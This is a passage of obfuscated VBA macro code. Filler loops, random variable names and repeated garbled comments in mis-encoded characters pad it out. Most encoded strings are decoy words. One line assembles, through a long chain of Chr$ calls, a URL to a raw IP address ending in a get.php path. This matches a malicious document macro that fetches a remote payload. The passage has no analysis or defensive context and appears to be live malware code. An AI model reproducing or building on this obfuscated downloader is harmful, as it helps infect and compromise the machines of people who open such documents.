'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
iKARDolL = RTrim(ZXMpnDZa)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: AfsqhWZR = AfsqhWZR + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim pvhPVhEC, SORRUSdk, abPiDvvN As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
pvhPVhEC = GIYbonflbkpgerg("20202020202020202020205A5453465651202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SORRUSdk = LTrim(pvhPVhEC)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
abPiDvvN = RTrim(SORRUSdk)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim JCAESdGx, HUthPgmX, zDJldevy As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
JCAESdGx = GIYbonflbkpgerg("20202020202020202020204D505A565549202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
HUthPgmX = LTrim(JCAESdGx)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
zDJldevy = RTrim(HUthPgmX)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
yfVUGJK = GIYbonflbkpgerg(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(50) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(55) & Chr$(51) & Chr$(54) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(48) & Chr$(50) & Chr$(69) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(55) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(69) & Chr$(55) & Chr$(48) & Chr$(54) & Chr$(56) & Chr$(55) & Chr$(48))

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim OxBfkhBI, WZQjMreL, uIclwKyr As String

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim FOkSzTPv As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim psbZtOWf, tdOFbDlg, adLNMKHh As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
psbZtOWf = GIYbonflbkpgerg("2020202020202020202020514D474C4D51202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
tdOFbDlg = LTrim(psbZtOWf)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
adLNMKHh = RTrim(tdOFbDlg)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
FOkSzTPv = 8
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While FOkSzTPv < 19
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim iKVAPnhP, aiGdAURf, YrxUFewy As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
iKVAPnhP = GIYbonflbkpgerg("20202020202020202020204C5347464642202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
aiGdAURf = LTrim(iKVAPnhP)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
YrxUFewy = RTrim(aiGdAURf)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: FOkSzTPv = FOkSzTPv + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim NpqduCGh, fNjHsIaV, ZHwlkldY As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
NpqduCGh = GIYbonflbkpgerg("20202020202020202020204846544D444F202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
fNjHsIaV = LTrim(NpqduCGh)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZHwlkldY = RTrim(fNjHsIaV)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim drnMlqrT, vpdCMVuH, cMHOKNDg As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
drnMlqrT = GIYbonflbkpgerg("2020202020202020202020544441594355202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
vpdCMVuH = LTrim(drnMlqrT)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
cMHOKNDg = RTrim(vpdCMVuH)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
OxBfkhBI = GIYbonflbkpgerg("2020202020202020202020484346484350202020202020202020202020202020")

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim jwzMHIbd As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim SZrAqRaW, IEgFRIvX, ERvNBDXC As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SZrAqRaW = GIYbonflbkpgerg("20202020202020202020204E5A524C434F202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
IEgFRIvX = LTrim(SZrAqRaW)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ERvNBDXC = RTrim(IEgFRIvX)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
jwzMHIbd = 4
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While jwzMHIbd < 95
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim XHDAuZDo, AQwXlCTN, lzsUqrMR As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
XHDAuZDo = GIYbonflbkpgerg("202020202020202020202044535046424E202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
AQwXlCTN = LTrim(XHDAuZDo)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
lzsUqrMR = RTrim(AQwXlCTN)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: jwzMHIbd = jwzMHIbd + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim grJySNnB, JgyNwcpl, ytsEnowa As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
grJySNnB = GIYbonflbkpgerg("20202020202020202020204350584A4550202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
JgyNwcpl = LTrim(grJySNnB)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ytsEnowa = RTrim(JgyNwcpl)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim zLayCasS, gNDobGhC, nybsaEli As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
zLayCasS = GIYbonflbkpgerg("2020202020202020202020424946534445202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
gNDobGhC = LTrim(zLayCasS)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
nybsaEli = RTrim(gNDobGhC)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
WZQjMreL = LTrim(OxBfkhBI)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim UZcdNlxy As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim raOovDeI, SYQtgyeV, UUWjOpnB As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
raOovDeI = GIYbonflbkpgerg("20202020202020202020205A524741474D202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SYQtgyeV = LTrim(raOovDeI)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
UUWjOpnB = RTrim(SYQtgyeV)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
UZcdNlxy = 7
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While UZcdNlxy < 88
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim TfwzUhea, qoexMQMK, GtQJuySP As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
TfwzUhea = GIYbonflbkpgerg("202020202020202020202052434141534C202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
qoexMQMK = LTrim(TfwzUhea)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
GtQJuySP = RTrim(qoexMQMK)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: UZcdNlxy = UZcdNlxy + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim IdGqzFYX, CeWFibKR, bgpIJCnV As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
IdGqzFYX = GIYbonflbkpgerg("202020202020202020202055474D4C5152202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
CeWFibKR = LTrim(IdGqzFYX)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
bgpIJCnV = RTrim(CeWFibKR)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim PvziNLdP, CRFqZYhW, oPnfrmly As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
PvziNLdP = GIYbonflbkpgerg("202020202020202020202043494D57454A202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
CRFqZYhW = LTrim(PvziNLdP)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
oPnfrmly = RTrim(CRFqZYhW)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
uIclwKyr = RTrim(WZQjMreL)


'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim mVtSlQiG As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim ZFAVOLBY, vFQprCxU, lGWwvzMI As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZFAVOLBY = GIYbonflbkpgerg("2020202020202020202020574948524F48202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
vFQprCxU = LTrim(ZFAVOLBY)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
lGWwvzMI = RTrim(vFQprCxU)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
mVtSlQiG = 5
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While mVtSlQiG < 63
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim syhArPpi, HaVXkyaN, wXTkRnLJ As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
syhArPpi = GIYbonflbkpgerg("2020202020202020202020444F4D594F51202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
HaVXkyaN = LTrim(syhArPpi)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
wXTkRnLJ = RTrim(HaVXkyaN)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: mVtSlQiG = mVtSlQiG + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim PEzmdjVk, BluBkzpN, ATwKabLl As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
PEzmdjVk = GIYbonflbkpgerg("202020202020202020202049564156484C202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
BluBkzpN = LTrim(PEzmdjVk)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ATwKabLl = RTrim(BluBkzpN)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim SGlQzruH, VWyFEKqa, XTOnAMHb As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
